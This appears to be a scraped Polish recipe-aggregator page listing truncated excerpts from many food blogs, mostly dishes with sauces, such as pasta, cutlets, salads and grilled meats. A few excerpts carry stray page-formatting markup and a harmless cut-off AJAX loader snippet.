mnie osobiście w pewien sposób ma to jakiś swój klimat. Ale, co o burgerach? Przepadłam mówię wam, jak dla mnie smakują genialnie, zaczynając od mega chrupiącej bułki, poprzez świetny sos(musztardowy  Jaglanex Cieciorex

More food, love and dreams
ANANAS Z SZAFRANEM I WANILIĄ 203

ilością ciepłej wody. Następnie obierz i pokrój ananasa. Rozgrzej paletnię, dodaj masło, krótko podsmażaj ananasa, dodaj szafran z wodą oraz ekstrakt waniliowy (lub ziarenka z połowy laski wanilii), zredukuj sos, tyle. Smacznego

Kuchnia bezglutenowa Loli
Wątróbka z rabarbarem i jabłkiem – przekąska 168

łyżkę masła, wrzucić pokrojone jabłka i rabarbar, smażyć, aż jabłka się zrumienią, a rabarbar będzie pół twardy. Dodać jabłka i rabarbar do wątróbki, zostawić troszkę do ozdobienia. Tak przygotowany sos doprawić solą, pieprzem i świeżym majerankiem Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

dom-agi.pl
Kluski śląskie z wieprzowym gulaszem 236

Składniki: 1 kg karczku 2 cebule  3-4 ząbki czosnku sól, pieprz słodka i ostra papryka kilka kropek sosu sojowego gałązka koperku 2 marchewki fasolka szparagowa pęczek natki pietruszki Przygotowanie: Mięso umyć i osuszyć. Pokroić na małe kawałki. Na 2-3 łyżkach dobrze rozgrzanego oleju podsmażyć go (nie mieszać za często) na mocny brązowy kolor

Gaździnka warzy
jajka gotowane w sosie koperkowym 119

Uwielbiam taki obiad ..jajka ugotowane na miękko,młode ziemniaki sos koperkowy/przepis podany oddzielnie /z sałatą

Ugotujmy Coś
Pizza z czarnymi oliwkami! 179

koloru do wyboru ;-). Pizza dość często gości u mnie na stole, ale tylko ta robiona przeze mnie. Dzisiaj zaserwowałam z serem gouda, szynką, parmeńską, czarnymi oliwkami, i pomidorowym sosem. Pyszne

SMYKWKUCHNI
Sałatka kalafiorowa z żółtym serem 412

sera 2 łyżki jogurtu naturalnego 1 łyżka majonezu sól, pieprz Sposób wykonania: 1. Kalafior podzielić na drobne różyczki. 2. Pomidory i jajka pokroić w kostkę. Dymkę posiekać. 3. Przygotować sos: majonez połączyć z jogurtem, dodać odrobinę soli i pieprzu. 4. Wszystko wymieszać, ewentualnie doprawić do smaku. Schłodzić przed podaniem. Smacznego

Kuchnia domowa Ani
Sosnówka - nalewka na pędach sosny 180

humoru i jako dodatek do potraw, zwłaszcza tych gdzie zazwyczaj dodajecie rozmaryn lub jałowiec. Przepis należy do tych przekazywanych z pokolenia na pokolenie, jeśli nie posiadacie własnego - polecam :) Pędy sosy są już w pełni rozwinięte, przy okazji weekendowego spaceru po lesie możecie pozyskać dowolną ilość świeżego surowca ;). Najlepsze pędy to te zebrane w pierwszej połowie maja, a nalewka im starsza

SzczyptaSmaQ
Klasyczny barszcz ukraiński :) 224

zielona część) 2 ząbki czosnku 1 mały seler (bulwa) 1 kostka dobrego bulionu warzywnego, bez tłuszczy utwardzonych ! oliwa z oliwek cytryna jogurt naturalny majeranek, pieprz, słodka papryka, sos sojowy W garnku wielkości ok. 3 litrów nastawiamy wodę do zagotowania. W tym czasie obieramy ziemniaki, marchewkę, seler. Kroimy w kostkę i wrzucamy do garnka. Obieramy czosnek i  cebulę, kroimy

vegetanie
Makaron w sosie śmietanowym ze szparagami, kurczakiem i czerwonym pieprzem 220

osobnej patelni podsmażyłam szparagi, na oliwie z oliwek- 2 minutki z każdej strony. Kurczaka zalałam kremówką, podgrzałam do zgęstnienia. Przyprawiłam solą i pieprzem. Następnie dodałam pokrojone szparagi. Makaron polałam sosem, posypałam pestkami dyni i czerwonym pieprzem. „Mleko i przetwory mleczne są źródłem łatwo przyswajalnego wapnia, wysokowartościowego białka i witamin z grupy B oraz witamin A i D – dlatego

Aga w kuchni
smaczne kotlety z kaszy jęczmiennej łamanej i jajek z pesto peperoncino... 174

gorącym oleju smażyć nie za grube kotlety na rumiano z każdej strony kotlety są chrupiące dzięki kaszy, smakują na ciepło i na zimno, można je podać z keczupem, sosem czosnkowym lub z czym się lubi.................SMACZNEGO

W Mojej Kuchni Lubię
Pierożki tortellini w śmietanowym sosie z boczkiem i brokułami 189

papierowy ręcznik. Szalotkę obrać i pokroić w kostkę. Zeszklić na tłuszczu wytopionym z boczku. Wlać słodką śmietankę, zagotować i zdjąć z ognia. Doprawić solą do smaku. Tak przygotowanym sosem polać tortellini. Na górze ułożyć chrupkie kawałki boczku i ugotowanego brokuła. Posypać ostrą papryką -  użyłam mielonych płatków chili. Taki obiad przygotowuje się w iście ekspresowym tempie

Codzienna kuchnia niecodzienna
Spring rollsy czyli wiosenne sajgonki 202

kreatywności i smaku. Ich przygotowanie w domu jest bardzo proste i szybkie, mimo że wszystko wygląda skomplikowanie to nie zajmie wam wiele czasu. A przekąska jest pyszna z ulubionym sosem smakuje wybornie. Szczególnie na diecie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pulled pork 188

godziny. Ciepłe mięso zdejmujemy z kratki na deskę do krojenia i przy pomocy dwóch widelców rwiemy na nieregularne kawałki. Przekładamy na blaszkę, gdzie zebrał się sos i dokładnie mieszamy. Tak przygotowane mięso układamy na bułkach i podajemy z sałatką colesław  (przepis) . Przepis na bułki poniżej:) BUŁKI zaczyn: 20 g drożdży 2 łyżki cukru 100 ml ciepłego mleka

Smakowity Blog Kulinarny
Szparagowa potrawka z cukinią 192

solą, białym pieprzem oraz płatkami papryki. Gotujemy około 8-10 minut. Odlewamy nieco wywaru, łączymy ze śmietanką oraz mąką i wlewamy przez sitko do kurczaka i warzyw. Gotujemy aż sos się zagęści. Serwujemy z ryżem lub białym pieczywem

Pyry na Gaz
PASTA ALLA NORMA, CZYLI MAKARON Z BAKŁAŻANEM, POMIDORAMI I BAZYLIĄ 185

makaronie, aby się lekko podgotował. Dodać przecier, pokrojone w kostkę pomidory. Całość doprawić cukrem, świeżo zmielonym pieprzem, solą i suszonym oregano. Gotować, aż wszystkie składniki się połączą i powstanie sos. Na koniec wsypać posiekaną bazylię i łyżkę startego sera, gotować jeszcze przez około minutę. Dodać makaron, wymieszać i podawać. Wierzch można dodatkowo oprószyć startym serem

Kuchnia w opałach
Masło orzechowe Primavika 217

owsiankami czy muesli. Można go dodawać do lodów, deserów, koktajli, jak również do ciastek, babeczek, ciast i kremów.  W wersji wytrawnej mozna je podawać jako dodatek do mięs, sosów czy warzyw. Oczywiście można je również po prostu wyjadać łyżeczką :) Nam bardzo posmakowało nam modne na zachodzie połączenie masła orzechowego i dżemu - zrobiłyśmy z córcią z takim nadzieniem pyszne tosty

Kto ugości moich gości?
Obiad w 20 minut. Grillowany stek wołowy z blanszowanymi warzywami i chipsami z pokrzywy 260

ramach  Bosch Akademia Smaku . Czas przygotowania: 20 minut Porcje:  2 Składniki: 2 steki z rostbefu (dojrzewające), 1 łyżeczka uprażonego sezamu (białego i/lub czarnego). Marynata: 150 ml sosu Teriyaki, 2 łyżki miodu, 2 ząbki czosnku przeciśnięte przez praskę, 1 łyżka startego imbiru, 1 łyżka posiekanej chili, 1/2 łyżeczki oleju sezamowego, pieprz do smaku. Mus z awokado: 1/2 awokado

SzczyptaSmaQ
Prażony kalafior z buraczkowym makaronem 225

czasu. Dopraw solą. Kalafior podziel na mniejsze różyczki, pokrój w plastry i posyp solą. Z octu, soku jabłkowego, syropu klonowego i oliwy przygotuj winegret. Szczypiorek posiekaj i dodaj do sosu, a na koniec dopraw solą i pieprzem.  Pestki dyni upraż na suchej patelni, posypując ją solą. Odłóż je na bok, a na patelnię wlej olej ryżowy i smaż

Roślinna - blog wegański
Zielona sałatka z groszku, kukurydzy i roszponki z kurczakem. 347

reszta to pikuś ;p. Smacznego!   Składniki: roszponka kukurydza - puszka groszek konserwowy - puszka papryka czerwona tarty ser żółty do posypania dwa pomidory grzanki pierś kurczaka     Sos czosnkowy: dwa ząbki czosnku oliwa z oliwek śmietana dwie łyżki pieprz i sól do smaku   Wykonanie:   Pierś kurczaka przyprawiamy pieprzem i solą (można dodać

Lubczyk i Wanilia
Pasta z jajek, tuńczyka i suszonych pomidorów 160

Kolejna pasta. Tym razem z tuńczykiem. puszka tuńczyka w sosie własnym 5 – 6 suszonych pomidorów 3 jajka 1 czubata łyżka jogurtu greckiego sól, płatki chili jajka ugotować na twardo. Obrać, pokroić na mniejsze części, dodać odsączonego tuńczyka, pomidory, doprawić. Wszystko zmiksować. Smacznego

Polska Zupa
Przepis na… – Spaghetti all’Amatriciana, danie papieży 287

kilku minutach guanciale i papryczki zdejmujemy z patelni i wlewamy na nią passatę, doprawiamy szczyptą pieprzu. W międzyczasie, w osolonej wodzie gotujemy makaron. Nie do końca ugotowany dodajemy do sosu i mieszamy z guanciale oraz peperoncino. Posypujemy pecorino i podajemy gorące

Bon Ton Italia
Fusilli z pieczarkami, cukinią i bakłażanem 199

Makaron można jadać na wiele sposobów. W moim dzisiejszym wydaniu makaron fusilli z pieczarkami, cukinią, bakłażanem, mięsem mielonym, cebulą w mocno ziołowym sosie śmietanowym. Polecam głównie zwolennikom pieczarek, bo to one stanowią główny akcent w tej potrawie. Jeżeli ktoś nie lubi bakłażana, to można go spokojnie zastąpić kolejną cukinią. Porcja na 4 osoby. SKŁADNIKI 2 cebule 450 g pieczarek

Passions hobbies life
Szaszłyki drobiowe z ananasem w marynacie słodko-ostrej 257

Powrót do przeszłości... Ostatni raz mięso z owocami jadłam... 5 lat temu? Wówczas wciąż i na okrągło był kurczak w sosie z ananasem. Aż mi zbrzydł. Już nie mogłam na niego patrzeć. 5 lat przerwy to solidny kawał czasu :) Dlatego wczoraj na kolację zjadłam szaszłyki z ananasem w marynacie słodko-ostrej :) Składniki: 3 piersi z kurczaka 1 czerwona papryczka chili

www.szczesliwakuchnia.blogspot.com
Zapiekanka makaronowa z pieczarkami, kiełbasą i papryką. Szybka i smaczna. 1993

pieprzem,  majerankiem, czosnkiem i papryką, Dokładnie mieszam i przekładam do wysmarowanego odrobiną oleju naczynia żaroodpornego. W małym garnuszku roztrzepuję jajka z mlekiem, śmietaną i szczyptą soli i powstałym sosem zalewam równomiernie zapiekankę. Ser żółty ścieram na tarce o dużych oczkach i posypuję wierzch zapiekanki. Naczynie przykrywam pokrywką. Piekę ok. 40 minut w 170 stopniach przy włączonym termoobiegu

Kuchnia z widokiem na ogród
Kotlety mielone inaczej 322

szynki dojrzewającej (no. Serrano) około 7 pomidorów suszonych 3 średnie pieczarki świeżo mielony pieprz do smaku 1 łyżeczka bazylii 1 łyżeczka oregano ½ łyżeczki ostrej papryki ½ łyżeczki rozmarynu 1 łyżka sosu Worhestershire (opcjonalnie) olej do smażenia Przygotowanie: Cebulę, pieczarki, pomidory suszone i szynkę kroimy w drobniutką kostkę. Przesmaż na patelni wszystkie składniki.   Mięso mieszamy najpierw z jajkami i przyprawami. Następnie

Mania Gotowania
Gulasz buraczany 240

przypaliła ;) Cebulę dodać do mięsa i zalać wodą. Niech się dusi. Krok 2 Pokroić resztę warzyw i dodać do mięsa. Posypać soczewicą. Lubię ją dodawać, bo fajnie zagęszcza sos. Tylko trzeba pilnować dania, aby się nie przypaliło. Krok 3 Dodać przyprawy i pozwolić daniu się dusić na małym ogniu, aż mięso będzie mięciutkie. Trzeba mieszać co jakiś czas

CoolinarniePL
Zapiekanki z pieczarkami i serem, rodem z PRLu 247

ścieramy na grubych oczkach tarki. Mieszamy razem i posypujemy obficie bagietki. 3. Bagietki układamy na blaszce i zapiekamy przez 15 minut w 180 stopniach. Przed podaniem polewamy keczupem ulubionym sosem

Szefowa kuchni
KOTLETY JAGLANE 213

jaglane. Niczym nie ujmują od tradycyjnych mielonych. Fantastyczne, można je podawać tradycyjnie z ziemniakami, jako burgery w bule lub po prostu jak jak z moim ukochanym sosem czosnkowym. Nie wiem czy wiecie, że kasza jaglana przyspiesza przemianę materii i tym samym pomaga nam w odchudzaniu. Kurcze poza tym jest bardzo dobra także nie trzeba się jej bać

pieprzny smaczek
Warzywa są SEXY! 204

Prawda? Jednak często o nich zapominamy.. zachwycamy się aromatycznym mięsem, wspaniałą kaszą, czy wyśmienitym sosem. A czy ktoś kiedyś powiedział wspaniała fasolka? Cudowna marchewka? Rzadko kiedy. U nas niestety też królowały dania główne, a dodatki były spychane na bok. Jednak nadszedł czas na zmian.. oj dużych zmiany! Postanowiłyśmy oddać pierwsze skrzypce warzywom! Zmienić kilka elementów swojej diety, zacząć

Kolizje Smaków
MAŁA DYNIA – ZUCCHINA 300

miąższ dodajemy do duszonego mięsa wraz z pokrojonymi w kostkę dwoma pomidorami. Farsz doprawiamy do smaku solą i pieprzem. Można dodać również odrobinę cukru i świeże zioła. Powstałym sosem mięsnym faszerujemy wydrążone cukinie, posypujemy startym parmezanem i zapiekamy. Buon appetito

Bon Ton Italia
Wiosenna surówka i pierś z kurczaka smażona na papierze (269 kcal) 428

łyżeczka soku z cytryny sól, pieprz, cukier, papryka ostra Przygotowanie Ogórki obieramy i kroimy w plasterki, rzodkiewki kroimy w kostkę. Śmietanę, jogurt i sok z cytryny mieszamy ze sobą. Sosem zalewamy warzywa, dodajemy przyprawy i koperek. Mieszamy.   Pierś z kurczaka Składniki: podwójna pierś z kurczaka przyprawy: pieprz ziołowy, czosnek granulowany, papryka wędzona, curry łyżeczka oleju papier do pieczenia Przygotowanie

e-PrzepisyKulinarne
Sałatka z tuńczykiem, kaparami w muszlach 187

Składniki:   makaron duże muszle   1/2 papryki czerwonej pokrojonej w kostkę   1 słoiczek tuńczyka w sosie własnym, odsączonego   1 jajko ugotowane na twardo drobno posiekane   1 cebula dymka, bardzo drobno pokrojona   1/2 czerwonej papryczki chilli, drobno posiekanej   2 łyżki opłukanych kaparów   1 łyżka poszatkowanych liści pietruszki   sól, pieprz czarny do smaku

Malinowe Pocałunki
Naleśniki z kurczakiem, porem, pieczarkami, kukurydzą i serem żółtym 444

razem zrobiłam z nim naleśniki (dorzuciłam tylko kukurydzę). Wyszło przepysznie! SKŁADNIKI: 1 pierś kurczaka 1 duży por 50 dag pieczarek 25 dag sera żółtego 2-3 łyżki sosu sweet chilli (można zastąpić pikantnym keczupem) 1. Kurczaka pokroić w drobną kostkę, doprawić (u mnie przyprawa kebab-gyros), usmażyć.   2. Por pokroić w cienkie plasterki, zeszklić na maśle.   3. Pieczarki

Kto ugości moich gości?
Wieprzowina z natką i czosniem 171

Składniki: 1 kg łopatki 4-6 ząbków czosnku natka pietruszki pieprz, słodka i ostra papryka szczypta rozmarynu, tymianku, lubczyku i imbiru kilka kropel sosu sojowego Solanka: 80 g soli 2 litry wody 50 g brązowego cukru 2-3 listki laurowe kilka ziarenek ziela angielskiego Przygotowanie: Solankę podgrzać do rozpuszczenia cukru, wystudzić i włożyć do niej mięso na kilka godzin. Następnie

Gaździnka warzy
Smażone talarki ziemniaczane (z surowych ziemniaków) 322

będzie gorący to partiami smażyć ziemniaki. Muszą uzyskać złoty kolor. Usmażone ziemniaki przełożyć na talerz wyłożony papierem do pieczenia, aby usunąć nadmiar tłuszczu. Od razu podawać. Świetnie smakują z sosem czosnkowym lub pomidorowym

Ugotować
Ziemniaczane ravioli 151

kleiło się do rąk. Ręce oprószamy mąką, formujemy małe okrągłe placki, po środku każdego placka kładziemy trochę farszu i sklejamy zaginając brzegi. Nie martwimy się, że trochę sosu się wyleje z placka, mocniej dociskamu przegi. Na patelni rozgrzewamy trochę oleju, smażymy ravioli z dwóch stron na złoty kolor. Podajemy na gorąco posypane bazylią. Ps. Farsz możemy przygotować dzień wcześniej

http://szpilkinamiotle.blogspot.com/
Kurczak z 40 ząbkami czosnku 211

osłonkach. Zdejmujemy tylko luźne, łupinki i dzielimy główki na ząbki. 20 ząbków kładziemy na dno naczynia żaroodpornego, na nie układamy kurczaka skórką do góry. Solimy i pieprzymy. Zalewamy sosem z patelni i posypujemy jeszcze świeżym tymiankiem. Na górę wędruje pozostałych 20 ząbków czosnku. Przykrywamy pokrywką lub folią aluminiową (pamiętamy mocno błyszczącą stroną do potrawy). Wkładamy do piekarnika

http://szpilkinamiotle.blogspot.com/
Strogonow z kurczaka i pora 144

duża garść pieczarek lub boczniaków 1 podwójna pierś z kurczaka 1 duży por (biała część) 1 łyżka masła 1 kieliszek białego wina pęczek natki pietruszki 250ml śmietanki do sosów 1 cytryna S&P Nastawiamy wodę na ryż, solimy. Myjemy pora, a następnie kroimy w plasterki. Grzyby również kroimy w plasterki a kurczaka w kostkę (nic nie musi być

http://szpilkinamiotle.blogspot.com/
Śledziki imprezowe 182

piórka i zalewamy wrzątkiem. Tak sparzoną kładziemy na ostatnią warstwę śledzi. Teraz czas na zalewę. Mieszamy ze sobą sok z cytryny, czosnek, olej, cukier i sól. Tak przygotowanym sosem zalewamy śledzie. Całość przykrywamy i zostawiamy w lodówce. Smacznego

http://szpilkinamiotle.blogspot.com/
Deska serów i wędlin 347

dużym talerzu. Deska wędlin: kiełbasy pieczone zwinięte różne rodzaje szynek pasztety pieczone pokrojone w kostkę kabanosy jałowcowa itp. Do wędlin można podać w małym naczyniu chrzan lub inny sos. Deska serów: wędzone "pleśniaki" miękkie, twarde pokrojone w kostkę itp. Smacznego

http://szpilkinamiotle.blogspot.com/
Nadziewane babeczki 178

kiszone ogórki 15dkg żółtego sera (starty na grubych oczkach) 1 puszka kukurydzy 1/2 czerwonej papryki majonez jogurt naturalny S&P Wszystkie składniki drobno kroimy i mieszamy z sosem jogurtowo-majonezowym. Sałatka warzywna: 1 cukinia 1 papryka czerwona ok. 20szt pieczarek 1ząbek czosnku 1 cebula chili S&P Wszystko drobno kroimy i podsmażamy na oliwie. Smacznego

http://szpilkinamiotle.blogspot.com/
Spaghetti z tuńczykiem 193

kawałki. Dodajemy cynamon i pomidory. Do całości dodajemy soli i pieprzu do smaku. Odcedzamy makaron po około 8 minutach gotowania. Makaron przekładamy do garnka w którym się gotował, dodajemy sos i całość dokładnie mieszamy. Przed podaniem posypujemy natką pietruszki. Przepis pochodzi z książki: Jamie Oliver "30 minut w kuchni" Smacznego

http://szpilkinamiotle.blogspot.com/
Grillowana kanapka 147

schabu S&P Ciabatty grillujemy. Kroimy na pół. Smarujemy masełkiem. Układamy roszponkę, schab lub łososia, pomidory i ogórka które pokroiliśmy w plasterki. Możemy dodać jeszcze majonez lub inny sos na bazie majonezu lub jogurtu. Banalnie proste :) Smacznego

http://szpilkinamiotle.blogspot.com/
Kotlety z soczewicy w pomiodorach 245

Kolejna  propozycja na smaczny bezmięsny obiad to kotleciki z soczewicy w sosie pomidorowym.                        Jako  dodatek  polecam gotowany na parze koper włoski i dużo zielonego koperku. Kotleciki należy upiec w piekarniku w/g  TEGO przepisu  . Pomidory z puszki  podgrzać na patelni,  doprawić

Zakamarki mojej kuchni
PIZZA Z PESTO I SZPARAGAMI 205

Normal 0 21 false false false PL X-NONE X-NONE Pizza to ciągnąca się mozzarella, pyszny sos pomidorowy i rewelacyjne ciasto. Podejmując pierwszą próbę zrobienia pizzy, zaczęłam właśnie od przygotowania domowego ciasta, które wyrosło mi jak drożdżowe babci na Wielkanoc. Nie znam osoby, która przygodę z domową pizzą zaczynała od cienkiego ciasta! Bo pierwsze własnoręcznie zrobione ciasto jest zawsze

bistro mama
sałatka z tuńczykiem i kukurydzą 141

Produkty: 2 puszki tuńczyka w sosie własnym 2 puszki kukurydzy 1 duża cebula 10 jajek 3 łyżki majonezu sól

Ugotujmy Coś
SANDWICZE Z MUSEM JABŁKOWO – RABARBAROWYM I ORZECHAMI 216

też idealnym pomysłem do zrobienia na grillu! Gwarantuję, że będą się zachwycać nimi nie tylko dzieci, ale i dorośli. Świetnym dodatkiem ( ale to już taka bomba kaloryczna ) jest delikatny sos karmelowy! Spróbujcie! SKŁADNIKI: ( 2 szt ) * pszenne, lekko czerstwe pieczywo – 4 kromki * masło -1 łyżka * rabarbar – 1 łodyga * duże jabłko – 1 szt * miód – 2 łyżki * orzechy włoskie

Ostra na Słodko
Żeberka z miodem 173

selera naciowego .  Składniki: 1 kg żeberek wieprzowych marynata: 1 łyżka majeranku 1 łyżka mielonego kminku 1 łyżeczka chili 1 łyżeczka pieprzu 1 łyżeczka mielonego imbiru 1 łyżka sosu sojowego 1 łyżeczka octu balsamicznego lub jabłkowego 1 łyżka ostrego ketchupu 2 - 3 łyżki oliwy z oliwek 1 łyżka miodu 3 ząbki czosnku (przecisnąć przez praskę) 2 - 3 łyżeczki soli dodatkowo

Kuchcik gotuje
Serowa pizza 248

Gniotę, zakładam, rzucam o blat i wkładam do miski przykrywając ściereczka na kolejną godzinę. Gdy ciasto już ładnie wyrosło wysmarowałem naczynie oliwą i rozciągnąłem do brzegów ciasto i smaruję sosem czosnkowym (2 ząbki czosnku, sól, pieprz, jogurt grecki), a następnie rozkładam składniki : ser żółty, ser pleśniowy, ser topiony i mozzarelle. A na samą górę świeże pomidory. Tak zrobioną pizze wkładam

Full Smaku
Ziemniaczano-szpinakowe muffinki (177 kcal) 213

Przepis na pyszną przekąskę na ciepło ( choć na zimno również dobrze smakuje) – wytrawne muffiny ziemniaczane. Podałam je z sosem czosnkowym. Jeden muffin zawiera 177 kcal. Składniki (na 9 sztuk): 5 sporych ziemniaków ok 150-200 g mrożonego szpinaku 200 g sera feta 3 jajka 2 łyżki mąki 2 cebule 100 g sera żółtego sól, pieprz papryka słodka i ostra, czosnek

e-PrzepisyKulinarne
ZAPIEKANKA ZIEMNIACZANA  403

przyznac, ze jest bardzo smaczna ....przynajmniej jak dla mnie :) . Nie mam dzisiaj jakos weny do rozpisywania sie hehe:) Zapiekanka bardzo latwa w przygotowaniu a jako dodatek do niej zrobilam sos czosnkowy . SKLADNIKI: -olej -2-3 zabki czosnku -2 papryki -1 cebula -5-6 ziemniakow -5 jaj -150 ml jogurtu naturalnego -piers z kurczaka -sol ,pieprz i przyprawa do kurczaka SPOSOB

PychaDania
21 słów, które pozwolą odnaleźć się we włoskiej pizzerii 298

nere – czarne) Origano – oregano Peperoncini – ostre papryczki Peperoni – ostra odmiana salami Prosciutto – szynka Pomodoro fresco – świeże pomidory Salame picante – pepperoni lub ostra salsiccia Salsa di pomodoro – sos pomidorowy Salsiccia – włoska biała kiełbasa Tonno – tuńczyk Wurstel – parówka, często wkrajana na pizzę pokrojona w plasterki, a czasem przekrojona wzdłuż na pół

Bon Ton Italia
Wołowe zrazy w potrawce na winie 229

Zraziki przygotowałam w klasyczny dla nich sposób z musztardą, ogórkiem konserwowym i białą cebulą. Jednak wariacja całości polega na tym, że nie podałam ich w klasycznym wszystkim znanym sosie. Wybrałam do podania potrawkę, przygotowaną z mieszanki warzyw węgierskich podlaną wyśmienitym winem porto ... Danie idealnie nada się na obiad jak i na kolację.  Wołowe zrazy w potrawce warzywnej na winie

Kulinarny Świat Konczi i Szpileczki
Makaron z truskawkami i twarogiem 241

twarogu Wykonanie: Makaron ugotować. Truskawki umyć, odszypułkować wrzucić do blendera, dodać jogurt, pokrojonego banana, otręby i cukier wanilinowy. Wszystko zmiksować. Na talerzu położyć makaron, posypać twarogiem i polać sosem truskawkowym. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

dom-agi.pl
Klopsiki ...oszukane gołąbki 228

łyżka chrzanu   WSP "Społem ' 2 -3 łyżki  bułki tartej   Oleofarm sól ziołowa Rafex 1 l wody wegeta 1 łyżka mąki 1 łyżka śmietany bulionetka do sosu cebulowego Knorr Kapustę i cebulę drobno posiekać.Do mięsa dodać płatki ryżowe, kapustę,cebulę, ryż, jajka .Wymieszać,dodać bułki tartej tyle , aby można było formować kotlety, doprawić do smaku .Wymieszać

Moje domowe kucharzenie
Schab w sosie chrzanowym 404

mieszamy. W osobnym naczyniu łączymy ze sobą śmietanę i mąkę, dokładnie aby nie powstały grudki. Dodajemy po trochu gorącą wodę. Gdy składniki się połączą przelewamy na patelnie i zagotowujemy, sos nam zgęstnieje. Dokładamy wcześniej usmażone mięso i całość dusimy pod przykryciem 45 minut.  Podajemy posypane koperkiem. SMACZNEGO

kulinarnyswiatdomi
Polędwiczki wieprzowe w sosie chrzanowym 232

miseczce wymieszać śmietanę z mąką oraz z wodą, dodać do rozpuszczonego masła, dokładnie wymieszać. Na sam koniec dodać przysmak górski oraz chrzan, wymieszać. Całość doprawić pieprzem do smaku. Do sosu dodać podsmażone polędwiczki i dusić pod przykryciem do ich miękkości.  Smacznego

Krakowskie smaki Ani
Sprawdzone przepisy z grilla 229

siebie. Polecamy nasze pyszne i sprawdzone przepisy z grilla:   Grillowane faszerowane piersi kurczaka, Ćevapčići z mielonego mięsa wieprzowego Grillowana pierś z indyka     Grillowane kotlety jagnięce z sosem tzatziki Grillowany schab z mozzarellą Grillowany schab z pietruszką i miętą Kofty, czyli szaszłyki z grillowanego mięsa kotlety wieprzowe grillowane Meksykańskie mini burgery Mini kebaby z tymiankiem Satay z indyka

Damsko-męskie spojrzenie na kuchnię
Udka z grilla. 248

latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} 5 udek z kurczaka, 1/3 szklanki oliwy, 3 ząbki czosnku, majeranek, tymianek, sos sojowy ostra papryka zmielona, przyprawa do grilla WYKONANIE: udka dzielimy na udziec i pałki, ze wszystkich składników przygotowujemy marynatę, mięso dokładnie mieszamy z marynatą, przykrywamy folią i odkładamy do lodówki

Kuchnia Beaty
Placki ziemniaczane z nadzieniem z kaczki / Potato cakes with duck filling 240

byłam z siebie dumna:) Przedstawiam więc puszyste placuszki ziemniaczane z nadzieniem z pieczonej kaczki (w oryginale mięso z kurczaka), jajka i zeszklonej cebulki, w chrupiącej panierce i podane z sosem pomidorowym . Mojemu przyszłemu mężowi, jako zdeklarowanemu fanowi ziemniaków, bardzo przypadły do gustu. Polecam gorąco! Scroll down for recipe in English Placki ziemniaczane z nadzieniem z kaczki (4 porcje, 16 placków

karmelowy
Zdrowe grillowanie 191

zastąpmy chudym mięsem m.in pierś z kurczaka, ryby, wołowina jedzmy dużo warzyw- zawierają dużo wody, więc są nisko kaloryczne  zioła i przyprawy - idealnie nadadzą się do marynat i sosów  fit desery - zamiast ciężkich ciast z masami użyj lekkich deserów np. sorbety owocowe, jogurt z owocami  nie siedź w miejscu - spotkanie z rodziną czy z znajomymi nie musi

Truskawkowa Fiesta
Karkówka z rodzynkami i morelami 149

lekko posolić  i dusić na wolnym ogniu około 45 minut. Po tym czasie dodać  drobno pokrojony czosnek, rodzynki i morele. Dusić kolejne 15 minut. Gorące kotlety, polane sosem z rodzynkami i morelami podawać z ziemniakami, ryżem  lub kaszą

O kuchni z uczuciem
Bitki schabowe w ciemnym sosie 178

mięsem (zamiast garnka można użyć głębokiej patelni). 4. Do mięsa dodać kostkę, liście laurowe i ziele angielskie. 5. Całość dusić do miękkości mięsa. 6. Gdy mięso będzie miękkie sos zaciągnąć mąką rozrobioną w zimnej wodzie. 7. Gotować jeszcze 3-5min. i ewentualnie doprawić solą oraz pieprzem

A Ty Smakuj Mnie
Sałatka ziemniaczana z tuńczykiem 257

może być traktowana w kategorii FIT. A do tego bardzo ładnie prezentuje się na talerzu :) Składniki /na 2-3 porcje/: 6 młodych ziemniaków 1/2 czerwonej cebuli puszka tuńczyka w sosie własnym 2 garście rukoli 2 jajka ugotowane na twardo 2 łyżeczki oliwy  sól, pieprz Wykonanie: Ziemniaki obrać i ugotować na parze. Odstawić do ostudzenia i pokroić na mniejsze kawałki

Pasja Smaku
Pierogi z fetą, pomidorami i oliwkami 169

Aromatyczne pierogi z suszonymi pomidorami, oliwkami i serem feta. Farsz zamknięty w delikatnym cieście drożdżowym. Polecam np. z sosem koperkowo-czosnkowym na bazie jogurtu. Z podanych poniżej składników powstanie około 4o średniej wielkości pierogów. Ciasto: ok. 0,7 kg mąki pszennej 20 g drożdży pół szklanki mleka 2 łyżeczki cukru 3 łyżeczki soli szklanka letniej wody 2 łyżki oliwy

Bullio
Klopsiki wołowe z fasolką szparagową w cytrynowej glazurze 213

podsmażyć fasolkę szparagową z dodatkiem startego imbiru oraz krążków chili- do miękkości. Na koniec dołożyć dżem cytrynowy wraz z orzechami, wymieszać i smażyć przez około 1-2 minuty, aż sos delikatnie zgęstnieje. Smacznego! :) Wpis zawiera lokowanie produktów: * dżem niskosłodzony z cytryn-  Owocowa Rozkosz

Kraina Miodem Płynąca
[Wege grill] Szaszłyki z halloumi i warzywami 192

resztek zdrowego rozsądku :) U mnie w domu na szczęście poza (powiedzmy szczerze) górą mięsa, zawsze była jakaś sałatka, pieczone ziemniaki, grillowany chlebek. Bardzo lubię też grillowaną cukinię z sosem tzatziki. A jak to wygląda u Was? Dziś podrzucam Wam pierwszy z moich pomysłów na potrawę z grilla w wersji wege. Są to szaszłyki z serem halloumi i warzywami, zamarynowanymi

Chilli Czosnek i Oliwa
KOTLECIKI Z KAPUSTY PEKIŃSKIEJ Z PIECZARKAMI I PAPRYKĄ 363

samą karkówką człowiek żyje ... :))  A dowodem na to niech będą te pyszne, bezmięsne kotleciki, które podane z domowymi kopytkami i pikantnym sosem pomidorowym  stanowiły pyszny obiad. Składniki: 2 kapusty pekińskie 1/2 czerwonej papryki 250g pieczarek 3 cebule 1 jajko pieprz przyprawa do gyrosa bułka tarta olej Wykonanie:  Kapustę pekińską kroimy na mniejsze kawałki i mielimy w maszynce

Walijskie Pichcenie
SCHAB W ZIOŁACH I SAŁATKA Z MOZZARELLĄ! 278

